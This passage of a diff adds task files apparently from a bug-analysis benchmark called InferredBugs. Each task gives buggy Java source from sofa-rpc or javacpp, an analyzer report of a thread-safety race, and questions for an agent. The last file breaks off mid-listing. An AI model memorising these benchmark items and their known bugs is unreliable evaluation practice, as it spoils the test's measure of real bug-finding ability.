+                throw unavailableProviderException(message.getTargetServiceUniqueName(), targetIP);
+            }
+            return providerInfo;
+        } else {
+            do {
+                // 再进行负载均衡筛选
+                providerInfo = loadBalancer.select(message, providerInfos);
+                ClientTransport transport = selectByProvider(message, providerInfo);
+                if (transport != null) {
+                    return providerInfo;
+                }
+                providerInfos.remove(providerInfo);
+            } while (!providerInfos.isEmpty());
+        }
+        throw noAvailableProviderException(message.getTargetServiceUniqueName());
+    }
+
+    /**
+     * Select provider.
+     *
+     * @param targetIP the target ip
+     * @return the provider
+     */
+    protected ProviderInfo selectPinpointProvider(String targetIP, List<ProviderInfo> providerInfos) {
+        ProviderInfo tp = ProviderHelper.toProviderInfo(targetIP);
+        for (ProviderInfo providerInfo : providerInfos) {
+            if (providerInfo.getHost().equals(tp.getHost())
+                && StringUtils.equals(providerInfo.getProtocolType(), tp.getProtocolType())
+                && providerInfo.getPort() == tp.getPort()) {
+                return providerInfo;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * 找不到可用的服务列表的异常
+     *
+     * @param serviceKey 服务关键字
+     * @return 服务端
+     */
+    protected SofaRouteException noAvailableProviderException(String serviceKey) {
+        return new SofaRouteException(LogCodes.getLog(LogCodes.ERROR_NO_AVAILBLE_PROVIDER, serviceKey));
+    }
+
+    /**
+     * 指定地址不可用
+     *
+     * @param serviceKey 服务关键字
+     * @return 服务端
+     */
+    protected SofaRouteException unavailableProviderException(String serviceKey, String providerInfo) {
+        return new SofaRouteException(LogCodes.getLog(LogCodes.ERROR_TARGET_URL_INVALID, serviceKey, providerInfo));
+    }
+
+    /**
+     * 得到provider得到连接
+     *
+     * @param message      调用对象
+     * @param providerInfo 指定Provider
+     * @return 一个可用的transport或者null
+     */
+    protected ClientTransport selectByProvider(SofaRequest message, ProviderInfo providerInfo) {
+        ClientTransport transport = connectionHolder.getAvailableClientTransport(providerInfo);
+        if (transport != null) {
+            if (transport.isAvailable()) {
+                lastProviderInfo = providerInfo;
+                checkAlias(providerInfo, message); //检查分组
+                return transport;
+            } else {
+                connectionHolder.setUnavailable(providerInfo, transport);
+            }
+        }
+        return null;
+    }
+
+    /**
+     * 检查分组映射
+     *
+     * @param providerInfo 服务端
+     * @param message      请求对象
+     */
+    protected void checkAlias(ProviderInfo providerInfo, SofaRequest message) {
+
+    }
+
+    /**
+     * 发起调用链
+     *
+     * @param providerInfo 服务端信息
+     * @param request      请求对象
+     * @return 执行后返回的响应
+     * @throws SofaRpcException 请求RPC异常
+     */
+    protected SofaResponse filterChain(ProviderInfo providerInfo, SofaRequest request) throws SofaRpcException {
+        RpcInternalContext context = RpcInternalContext.getContext();
+        context.setProviderInfo(providerInfo);
+        return filterChain.invoke(request);
+    }
+
+    @Override
+    public SofaResponse sendMsg(ProviderInfo providerInfo, SofaRequest request) throws SofaRpcException {
+        ClientTransport clientTransport = connectionHolder.getAvailableClientTransport(providerInfo);
+        if (clientTransport != null && clientTransport.isAvailable()) {
+            return doSendMsg(providerInfo, clientTransport, request);
+        } else {
+            throw unavailableProviderException(request.getTargetServiceUniqueName(), providerInfo.getOriginUrl());
+        }
+    }
+
+    /**
+     * 调用客户端
+     *
+     * @param transport 客户端连接
+     * @param request   Request对象
+     * @return 调用结果
+     * @throws SofaRpcException rpc异常
+     */
+    protected SofaResponse doSendMsg(ProviderInfo providerInfo, ClientTransport transport,
+                                     SofaRequest request) throws SofaRpcException {
+        RpcInternalContext context = RpcInternalContext.getContext();
+        // 添加调用的服务端远程地址
+        RpcInternalContext.getContext().setRemoteAddress(providerInfo.getHost(), providerInfo.getPort());
+        try {
+            checkProviderVersion(providerInfo, request); // 根据服务端版本特殊处理
+            String invokeType = request.getInvokeType();
+            int timeout = resolveTimeout(request, consumerConfig, providerInfo);
+
+            SofaResponse response = null;
+            // 同步调用
+            if (RpcConstants.INVOKER_TYPE_SYNC.equals(invokeType)) {
+                long start = RpcRuntimeContext.now();
+                try {
+                    response = transport.syncSend(request, timeout);
+                } finally {
+                    if (RpcInternalContext.isAttachmentEnable()) {
+                        long elapsed = RpcRuntimeContext.now() - start;
+                        context.setAttachment(RpcConstants.INTERNAL_KEY_CLIENT_ELAPSE, elapsed);
+                    }
+                }
+            }
+            // 单向调用
+            else if (RpcConstants.INVOKER_TYPE_ONEWAY.equals(invokeType)) {
+                long start = RpcRuntimeContext.now();
+                try {
+                    transport.oneWaySend(request, timeout);
+                    response = buildEmptyResponse(request);
+                } finally {
+                    if (RpcInternalContext.isAttachmentEnable()) {
+                        long elapsed = RpcRuntimeContext.now() - start;
+                        context.setAttachment(RpcConstants.INTERNAL_KEY_CLIENT_ELAPSE, elapsed);
+                    }
+                }
+            }
+            // Callback调用
+            else if (RpcConstants.INVOKER_TYPE_CALLBACK.equals(invokeType)) {
+                // 调用级别回调监听器
+                SofaResponseCallback sofaResponseCallback = request.getSofaResponseCallback();
+                if (sofaResponseCallback == null) {
+                    SofaResponseCallback methodResponseCallback = consumerConfig
+                        .getMethodOnreturn(request.getMethodName());
+                    if (methodResponseCallback != null) { // 方法的Callback
+                        request.setSofaResponseCallback(methodResponseCallback);
+                    }
+                }
+                // 记录发送开始时间
+                context.setAttachment(RpcConstants.INTERNAL_KEY_CLIENT_SEND_TIME, RpcRuntimeContext.now());
+                // 开始调用
+                transport.asyncSend(request, timeout);
+                response = buildEmptyResponse(request);
+            }
+            // Future调用
+            else if (RpcConstants.INVOKER_TYPE_FUTURE.equals(invokeType)) {
+                // 记录发送开始时间
+                context.setAttachment(RpcConstants.INTERNAL_KEY_CLIENT_SEND_TIME, RpcRuntimeContext.now());
+                // 开始调用
+                ResponseFuture future = transport.asyncSend(request, timeout);
+                // 放入线程上下文
+                RpcInternalContext.getContext().setFuture(future);
+                response = buildEmptyResponse(request);
+            } else {
+                throw new SofaRpcException(RpcErrorType.CLIENT_UNDECLARED_ERROR, "Unknown invoke type:" + invokeType);
+            }
+            return response;
+        } catch (SofaRpcException e) {
+            throw e;
+        } catch (Throwable e) { // 客户端其它异常
+            throw new SofaRpcException(RpcErrorType.CLIENT_UNDECLARED_ERROR, e);
+        }
+    }
+
+    private SofaResponse buildEmptyResponse(SofaRequest request) {
+        SofaResponse response = new SofaResponse();
+        Method method = request.getMethod();
+        if (method != null) {
+            response.setAppResponse(ClassUtils.getDefaultPrimitiveValue(method.getReturnType()));
+        }
+        return response;
+    }
+
+    /**
+     * 决定超时时间
+     *
+     * @param request        请求
+     * @param consumerConfig 客户端配置
+     * @param providerInfo   服务提供者信息
+     * @return 调用超时
+     */
+    private int resolveTimeout(SofaRequest request, ConsumerConfig consumerConfig, ProviderInfo providerInfo) {
+        // 先去调用级别配置
+        Integer timeout = request.getTimeout();
+        if (timeout == null) {
+            // 取客户端配置（先方法级别再接口级别）
+            timeout = consumerConfig.getMethodTimeout(request.getMethodName());
+            if (timeout == null || timeout < 0) {
+                // 再取服务端配置
+                timeout = (Integer) providerInfo.getDynamicAttr(ATTR_TIMEOUT);
+                if (timeout == null) {
+                    // 取框架默认值
+                    timeout = getIntValue(CONSUMER_INVOKE_TIMEOUT);
+                }
+            }
+        }
+        return timeout;
+    }
+
+    @Override
+    public void destroy() {
+        destroy(null);
+    }
+
+    @Override
+    public void destroy(DestroyHook hook) {
+        if (destroyed) {
+            return;
+        }
+        if (hook != null) {
+            hook.postDestroy();
+        }
+        if (connectionHolder != null) {
+            connectionHolder.destroy(new GracefulDestroyHook());
+        }
+        destroyed = true;
+        initialized = false;
+        if (hook != null) {
+            hook.postDestroy();
+        }
+    }
+
+    /**
+     * 关闭连接<br>
+     * 注意：关闭有风险，可能有正在调用的请求，建议判断下isAvailable()
+     */
+    protected void closeTransports() {
+        if (connectionHolder != null) {
+            connectionHolder.closeAllClientTransports(new GracefulDestroyHook());
+        }
+    }
+
+    /**
+     * 优雅关闭的钩子
+     */
+    protected class GracefulDestroyHook implements DestroyHook {
+        @Override
+        public void preDestroy() {
+            // 准备关闭连接
+            int count = countOfInvoke.get();
+            final int timeout = consumerConfig.getDisconnectTimeout(); // 等待结果超时时间
+            if (count > 0) { // 有正在调用的请求
+                long start = RpcRuntimeContext.now();
+                if (LOGGER.isWarnEnabled()) {
+                    LOGGER.warn("There are {} outstanding call in client, will close transports util return",
+                        count);
+                }
+                while (countOfInvoke.get() > 0 && RpcRuntimeContext.now() - start < timeout) { // 等待返回结果
+                    try {
+                        Thread.sleep(10);
+                    } catch (InterruptedException ignore) {
+                    }
+                }
+            }
+        }
+
+        @Override
+        public void postDestroy() {
+        }
+    }
+
+    @Override
+    public boolean isAvailable() {
+        if (destroyed || !initialized) {
+            return false;
+        }
+        List<ProviderGroup> providerGroups = addressHolder.getProviderGroups();
+        if (CommonUtils.isEmpty(providerGroups)) {
+            return false;
+        }
+        for (ProviderGroup entry : providerGroups) {
+            List<ProviderInfo> providerInfos = entry.getProviderInfos();
+            for (ProviderInfo providerInfo : providerInfos) {
+                ClientTransport transport = connectionHolder.getAvailableClientTransport(providerInfo);
+                if (transport != null && transport.isAvailable()) {
+                    return true; // 只有有1个可用 即可返回
+                } else {
+                    connectionHolder.setUnavailable(providerInfo, transport);
+                }
+            }
+        }
+        return false;
+    }
+
+    @Override
+    public void checkStateChange(boolean originalState) {
+        if (originalState) { // 原来可以
+            if (!isAvailable()) { // 变不可以
+                notifyStateChangeToUnavailable();
+            }
+        } else { // 原来不可用
+            if (isAvailable()) { // 变成可用
+                notifyStateChangeToAvailable();
+            }
+        }
+    }
+
+    /**
+     * 通知状态变成不可用,主要是：<br>
+     * 1.注册中心删除，更新节点后变成不可用时<br>
+     * 2.连接断线后（心跳+调用），如果是可用节点为空
+     */
+    public void notifyStateChangeToUnavailable() {
+        final List<ConsumerStateListener> onprepear = consumerConfig.getOnAvailable();
+        if (onprepear != null) {
+            AsyncRuntime.getAsyncThreadPool().execute(new Runnable() {
+                @Override
+                public void run() {
+                    // 状态变化通知监听器
+                    for (ConsumerStateListener listener : onprepear) {
+                        try {
+                            listener.onUnavailable(consumerBootstrap.getProxyIns());
+                        } catch (Exception e) {
+                            LOGGER.error("Failed to notify consumer state listener when state change to unavailable");
+                        }
+                    }
+                }
+            });
+        }
+    }
+
+    /**
+     * 通知状态变成可用,主要是：<br>
+     * 1.启动成功变成可用时<br>
+     * 2.注册中心增加，更新节点后变成可用时<br>
+     * 3.重连上从一个可用节点都没有-->有可用节点时
+     */
+    public void notifyStateChangeToAvailable() {
+        final List<ConsumerStateListener> onprepear = consumerConfig.getOnAvailable();
+        if (onprepear != null) {
+            AsyncRuntime.getAsyncThreadPool().execute(new Runnable() {
+                @Override
+                public void run() {
+                    // 状态变化通知监听器
+                    for (ConsumerStateListener listener : onprepear) {
+                        try {
+                            listener.onAvailable(consumerBootstrap.getProxyIns());
+                        } catch (Exception e) {
+                            LOGGER.error("Failed to notify consumer state listener when state change to available");
+                        }
+                    }
+                }
+            });
+        }
+    }
+
+    /**
+     * 获取当前的Provider全部列表（包括连上和没连上的），比较费性能，慎用
+     *
+     * @return 当前的Provider列表
+     */
+    public Collection<ProviderInfo> currentProviderList() {
+        List<ProviderInfo> providerInfos = new ArrayList<ProviderInfo>();
+        List<ProviderGroup> providerGroups = addressHolder.getProviderGroups();
+        if (CommonUtils.isNotEmpty(providerGroups)) {
+            for (ProviderGroup entry : providerGroups) {
+                providerInfos.addAll(entry.getProviderInfos());
+            }
+        }
+        return providerInfos;
+    }
+
+    /**
+     * @return the consumerConfig
+     */
+    public ConsumerConfig<?> getConsumerConfig() {
+        return consumerConfig;
+    }
+
+    @Override
+    public AddressHolder getAddressHolder() {
+        return addressHolder;
+    }
+
+    @Override
+    public ConnectionHolder getConnectionHolder() {
+        return connectionHolder;
+    }
+
+    @Override
+    public FilterChain getFilterChain() {
+        return filterChain;
+    }
+
+    @Override
+    public RouterChain getRouterChain() {
+        return routerChain;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.alipay.sofa.rpc.client.AbstractCluster.updateProviders` indirectly writes to field `providerInfo.com.alipay.sofa.rpc.client.ProviderInfo.serializationType` outside of synchronization.
+ Reporting because a superclass `class com.alipay.sofa.rpc.client.Cluster` is annotated `@ThreadSafe`, so we assume that this method can run in parallel with other non-private methods in the class (including itself).
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractCluster.updateProviders(ProviderGroup)
+
+### Procedure Id:
+com.alipay.sofa.rpc.client.AbstractCluster.updateProviders(com.alipay.sofa.rpc.client.ProviderGroup).73cd86b43c8f6f580706c13ff0ba0685
+
+### File:
+core-impl/client/src/main/java/com/alipay/sofa/rpc/client/AbstractCluster.java
+
+### Key:
+AbstractCluster.java|updateProviders|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+ab7376b5e822d4fe20ffdfa49083c963
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9281/instruction.md b/inferredbugs-9281/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fad317c8f38a46a5934b677ddb1f59665c826c9f
--- /dev/null
+++ b/inferredbugs-9281/instruction.md
@@ -0,0 +1,308 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-rpc
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.rpc.server.rest;
+
+import com.alipay.sofa.rpc.common.utils.CommonUtils;
+import com.alipay.sofa.rpc.config.JAXRSProviderManager;
+import com.alipay.sofa.rpc.config.ProviderConfig;
+import com.alipay.sofa.rpc.config.ServerConfig;
+import com.alipay.sofa.rpc.core.exception.SofaRpcRuntimeException;
+import com.alipay.sofa.rpc.ext.Extension;
+import com.alipay.sofa.rpc.invoke.Invoker;
+import com.alipay.sofa.rpc.log.Logger;
+import com.alipay.sofa.rpc.log.LoggerFactory;
+import com.alipay.sofa.rpc.server.Server;
+import org.jboss.resteasy.spi.PropertyInjector;
+import org.jboss.resteasy.spi.ResteasyDeployment;
+import org.jboss.resteasy.spi.ResteasyProviderFactory;
+
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * Rest server base on resteasy.
+ *
+ * @author <a href="mailto:zhanggeng.zg@antfin.com">GengZhang</a>
+ */
+@Extension("rest")
+public class RestServer implements Server {
+
+    /**
+     * Logger
+     */
+    private static final Logger    LOGGER     = LoggerFactory.getLogger(RestServer.class);
+
+    /**
+     * 是否已经启动
+     */
+    protected volatile boolean     started;
+
+    /**
+     * Bolt服务端
+     */
+    protected SofaNettyJaxrsServer httpServer;
+
+    /**
+     * 服务端配置
+     */
+    protected ServerConfig         serverConfig;
+
+    /**
+     * invoker数量
+     */
+    protected AtomicInteger        invokerCnt = new AtomicInteger();
+
+    @Override
+    public void init(ServerConfig serverConfig) {
+        this.serverConfig = serverConfig;
+    }
+
+    private SofaNettyJaxrsServer buildServer() {
+        // 生成Server对象
+        SofaNettyJaxrsServer httpServer = new SofaNettyJaxrsServer(serverConfig);
+
+        int bossThreads = serverConfig.getIoThreads();
+        if (bossThreads > 0) {
+            httpServer.setIoWorkerCount(bossThreads); // 其实是boss+worker线程 默认cpu*2
+        }
+        httpServer.setExecutorThreadCount(serverConfig.getMaxThreads()); // 业务线程
+        httpServer.setMaxRequestSize(serverConfig.getPayload());
+        httpServer.setHostname(serverConfig.getBoundHost());
+        httpServer.setPort(serverConfig.getPort());
+
+        ResteasyDeployment resteasyDeployment = httpServer.getDeployment();
+        resteasyDeployment.start();
+
+        ResteasyProviderFactory providerFactory = resteasyDeployment.getProviderFactory();
+        registerProvider(providerFactory);
+
+        return httpServer;
+    }
+
+    private void registerProvider(ResteasyProviderFactory providerFactory) {
+        // 注册内置
+        Set<Class> internalProviderClasses = JAXRSProviderManager.getInternalProviderClasses();
+        if (CommonUtils.isNotEmpty(internalProviderClasses)) {
+            for (Class providerClass : internalProviderClasses) {
+                providerFactory.register(providerClass);
+            }
+        }
+        // 注册自定义
+        Set<Object> customProviderInstances = JAXRSProviderManager.getCustomProviderInstances();
+        if (CommonUtils.isNotEmpty(customProviderInstances)) {
+            for (Object provider : customProviderInstances) {
+                PropertyInjector propertyInjector = providerFactory.getInjectorFactory()
+                    .createPropertyInjector(
+                        JAXRSProviderManager.getTargetClass(provider), providerFactory);
+                propertyInjector.inject(provider);
+                providerFactory.registerProviderInstance(provider);
+            }
+        }
+
+        if (LOGGER.isDebugEnabled()) {
+            Set pcs = providerFactory.getProviderClasses();
+            StringBuilder sb = new StringBuilder();
+            sb.append("\ndefault-providers:\n");
+
+            for (Object provider : pcs) {
+                sb.append("  ").append(provider).append("\n");
+            }
+            LOGGER.debug(sb.toString());
+        }
+    }
+
+    @Override
+    public void start() {
+        if (started) {
+            return;
+        }
+        synchronized (this) {
+            if (started) {
+                return;
+            }
+            // 绑定到端口
+            try {
+                httpServer = buildServer();
+                httpServer.start();
+                if (LOGGER.isInfoEnabled()) {
+                    LOGGER.info("Start the http rest server at port {}", serverConfig.getPort());
+                }
+            } catch (Exception e) {
+                throw new SofaRpcRuntimeException(
+                    "Failed to start jetty server at port " + serverConfig.getPort() + ", cause: " + e.getMessage(), e);
+            }
+            started = true;
+        }
+    }
+
+    @Override
+    public boolean isStarted() {
+        return started;
+    }
+
+    @Override
+    public boolean hasNoEntry() {
+        return false;
+    }
+
+    @Override
+    public void stop() {
+        if (!started) {
+            return;
+        }
+        try {
+            // 关闭端口，不关闭线程池
+            if (LOGGER.isInfoEnabled()) {
+                LOGGER.info("Stop the http rest server at port {}", serverConfig.getPort());
+            }
+            httpServer.stop();
+            httpServer = null;
+        } catch (Exception e) {
+            LOGGER.error("Stop the http rest server at port " + serverConfig.getPort() + " error !", e);
+        }
+        started = false;
+    }
+
+    @Override
+    public void registerProcessor(ProviderConfig providerConfig, Invoker instance) {
+        if (!isStarted()) {
+            start();
+        }
+        // 在httpserver中注册此jaxrs服务
+        if (LOGGER.isInfoEnabled()) {
+            LOGGER.info("Register jaxrs service to base url http://" + serverConfig.getHost() + ":"
+                + serverConfig.getPort() + serverConfig.getContextPath());
+        }
+        try {
+            httpServer.getDeployment().getRegistry()
+                .addResourceFactory(new SofaResourceFactory(providerConfig), serverConfig.getContextPath());
+
+            invokerCnt.incrementAndGet();
+        } catch (Exception e) {
+            LOGGER.error("Register jaxrs service error", e);
+        }
+    }
+
+    @Override
+    public void unRegisterProcessor(ProviderConfig providerConfig, boolean closeIfNoEntry) {
+        if (!isStarted()) {
+            return;
+        }
+        if (LOGGER.isInfoEnabled()) {
+            LOGGER.info("Unregister jaxrs service to port {} and base path is {}", serverConfig.getPort(),
+                serverConfig.getContextPath());
+        }
+        try {
+            httpServer.getDeployment().getRegistry()
+                .removeRegistrations(providerConfig.getRef().getClass(), serverConfig.getContextPath());
+            invokerCnt.decrementAndGet();
+        } catch (Exception e) {
+            LOGGER.error("Unregister jaxrs service error", e);
+        }
+        // 如果最后一个需要关闭，则关闭
+        if (closeIfNoEntry && invokerCnt.get() == 0) {
+            stop();
+        }
+    }
+
+    @Override
+    public void destroy() {
+        stop();
+    }
+
+    @Override
+    public void destroy(DestroyHook hook) {
+        hook.preDestroy();
+        destroy();
+        hook.postDestroy();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alipay.sofa.rpc.server.rest.RestServer.stop` reads without synchronization from `this.com.alipay.sofa.rpc.server.rest.RestServer.httpServer`. Potentially races with write in method `RestServer.start()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RestServer.stop()
+
+### Procedure Id:
+com.alipay.sofa.rpc.server.rest.RestServer.stop():void.59af57e6e49148ca6857406346f94b27
+
+### File:
+extension-impl/remoting-resteasy/src/main/java/com/alipay/sofa/rpc/server/rest/RestServer.java
+
+### Key:
+RestServer.java|stop|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+546f2346ff3e26df7cccd168bfa9ae4f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9287/instruction.md b/inferredbugs-9287/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..da06581383a529024e07fc04feed7ff9caa5916f
--- /dev/null
+++ b/inferredbugs-9287/instruction.md
@@ -0,0 +1,3102 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** javacpp
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2013,2014 Samuel Audet
+ *
+ * This file is part of JavaCPP.
+ *
+ * JavaCPP is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version (subject to the "Classpath" exception
+ * as provided in the LICENSE.txt file that accompanied this code).
+ *
+ * JavaCPP is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with JavaCPP.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package com.googlecode.javacpp;
+
+import java.io.BufferedReader;
+import java.io.Closeable;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.Writer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.LinkedList;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Scanner;
+
+/**
+ * To do:
+ * - Inherit constructors from helper classes, if possible
+ * - etc.
+ *
+ * @author Samuel Audet
+ */
+public class Parser {
+
+    public static class Exception extends java.lang.Exception {
+        public Exception(String message) { super(message); }
+        public Exception(String message, Throwable cause) { super(message, cause); }
+    }
+
+    public static class Info {
+        public Info() { }
+        public Info(String ... cppNames) { this.cppNames = cppNames; }
+        public Info(Info i) {
+            cppNames = i.cppNames != null ? i.cppNames.clone() : null;
+            javaNames = i.javaNames != null ? i.javaNames.clone() : null;
+            annotations = i.annotations != null ? i.annotations.clone() : null;
+            cppTypes = i.cppTypes != null ? i.cppTypes.clone() : null;
+            valueTypes = i.valueTypes != null ? i.valueTypes.clone() : null;
+            pointerTypes = i.pointerTypes != null ? i.pointerTypes.clone() : null;
+            cast = i.cast;
+            define = i.define;
+            translate = i.translate;
+            skip = i.skip;
+            base = i.base;
+            cppText = i.cppText;
+            javaText = i.javaText;
+        }
+
+        String[] cppNames = null, javaNames = null, annotations = null,
+                 cppTypes = null, valueTypes = null, pointerTypes = null;
+        boolean cast = false, define = false, translate = false, skip = false;
+        String base = null, cppText = null, javaText = null;
+
+        public Info cppNames(String ... cppNames) { this.cppNames = cppNames; return this; }
+        public Info javaNames(String ... javaNames) { this.javaNames = javaNames; return this; }
+        public Info annotations(String ... annotations) { this.annotations = annotations; return this; }
+        public Info cppTypes(String ... cppTypes) { this.cppTypes = cppTypes; return this; }
+        public Info valueTypes(String ... valueTypes) { this.valueTypes = valueTypes; return this; }
+        public Info pointerTypes(String ... pointerTypes) { this.pointerTypes = pointerTypes; return this; }
+        public Info cast(boolean cast) { this.cast = cast; return this;  }
+        public Info define(boolean define) { this.define = define; return this; }
+        public Info translate(boolean translate) { this.translate = translate; return this; }
+        public Info skip(boolean skip) { this.skip = skip; return this; }
+        public Info base(String base) { this.base = base; return this; }
+        public Info cppText(String cppText) { this.cppText = cppText; return this; }
+        public Info javaText(String javaText) { this.javaText = javaText; return this; }
+    }
+
+    public static class InfoMap extends HashMap<String,LinkedList<Info>> {
+        public InfoMap() { this.parent = defaults; }
+        public InfoMap(InfoMap parent) { this.parent = parent; }
+
+        InfoMap parent = null;
+        static final String[] containers = { "std::deque", "std::list", "std::map", "std::queue", "std::set", "std::stack", "std::vector", "std::valarray" };
+        static final String[] simpleTypes = { "signed", "unsigned", "char", "short", "int", "long", "bool", "float", "double" };
+        static { Arrays.sort(simpleTypes); }
+        static final InfoMap defaults = new InfoMap(null)
+            .put(new Info("void").valueTypes("void").pointerTypes("Pointer"))
+            .put(new Info("va_list", "FILE", "std::exception", "std::istream", "std::ostream", "std::iostream",
+                    "std::ifstream", "std::ofstream", "std::fstream").cast(true).pointerTypes("Pointer"))
+
+            .put(new Info("int8_t", "jbyte", "signed char")
+                .valueTypes("byte").pointerTypes("BytePointer", "ByteBuffer", "byte[]"))
+            .put(new Info("uint8_t", "char", "unsigned char").cast(true)
+                .valueTypes("byte").pointerTypes("BytePointer", "ByteBuffer", "byte[]"))
+
+            .put(new Info("int16_t", "jshort", "short", "signed short", "short int", "signed short int")
+                .valueTypes("short").pointerTypes("ShortPointer", "ShortBuffer", "short[]"))
+            .put(new Info("uint16_t", "unsigned short", "unsigned short int").cast(true)
+                .valueTypes("short").pointerTypes("ShortPointer", "ShortBuffer", "short[]"))
+
+            .put(new Info("int32_t", "jint", "int", "signed int", "signed")
+                .valueTypes("int").pointerTypes("IntPointer", "IntBuffer", "int[]"))
+            .put(new Info("uint32_t", "unsigned int", "unsigned").cast(true)
+                .valueTypes("int").pointerTypes("IntPointer", "IntBuffer", "int[]"))
+
+            .put(new Info("int64_t", "__int64", "jlong", "long long", "signed long long", "long long int", "signed long long int")
+                .valueTypes("long").pointerTypes("LongPointer", "LongBuffer", "long[]"))
+            .put(new Info("uint64_t", "__uint64", "unsigned long long", "unsigned long long int").cast(true)
+                .valueTypes("long").pointerTypes("LongPointer", "LongBuffer", "long[]"))
+
+            .put(new Info("long", "signed long", "long int", "signed long int")
+                .valueTypes("long").pointerTypes("CLongPointer"))
+            .put(new Info("unsigned long", "unsigned long int").cast(true)
+                .valueTypes("long").pointerTypes("CLongPointer"))
+
+            .put(new Info("size_t", "ptrdiff_t").cast(true).valueTypes("long").pointerTypes("SizeTPointer"))
+            .put(new Info("float", "jfloat").valueTypes("float").pointerTypes("FloatPointer", "FloatBuffer", "float[]"))
+            .put(new Info("double", "jdouble").valueTypes("double").pointerTypes("DoublePointer", "DoubleBuffer", "double[]"))
+            .put(new Info("std::complex<float>").cast(true).pointerTypes("FloatPointer", "FloatBuffer", "float[]"))
+            .put(new Info("std::complex<double>").cast(true).pointerTypes("DoublePointer", "DoubleBuffer", "double[]"))
+            .put(new Info("bool", "jboolean").cast(true).valueTypes("boolean").pointerTypes("BoolPointer"))
+            .put(new Info("wchar_t", "WCHAR").cast(true).valueTypes("char").pointerTypes("CharPointer"))
+            .put(new Info("const char").valueTypes("byte").pointerTypes("@Cast(\"const char*\") BytePointer", "String"))
+            .put(new Info("std::string").annotations("@StdString").valueTypes("BytePointer", "String"))
+            .put(new Info("std::vector").annotations("@StdVector"))
+
+            .put(new Info("operator->").javaNames("access"))
+            .put(new Info("operator()").javaNames("apply"))
+            .put(new Info("operator[]").javaNames("get"))
+            .put(new Info("operator=").javaNames("put"))
+            .put(new Info("operator+").javaNames("add"))
+            .put(new Info("operator-").javaNames("subtract"))
+            .put(new Info("operator*").javaNames("multiply"))
+            .put(new Info("operator/").javaNames("divide"))
+            .put(new Info("operator%").javaNames("mod"))
+            .put(new Info("operator++").javaNames("increment"))
+            .put(new Info("operator--").javaNames("decrement"))
+            .put(new Info("operator==").javaNames("equals"))
+            .put(new Info("operator!=").javaNames("notEquals"))
+            .put(new Info("operator<").javaNames("lessThan"))
+            .put(new Info("operator>").javaNames("greaterThan"))
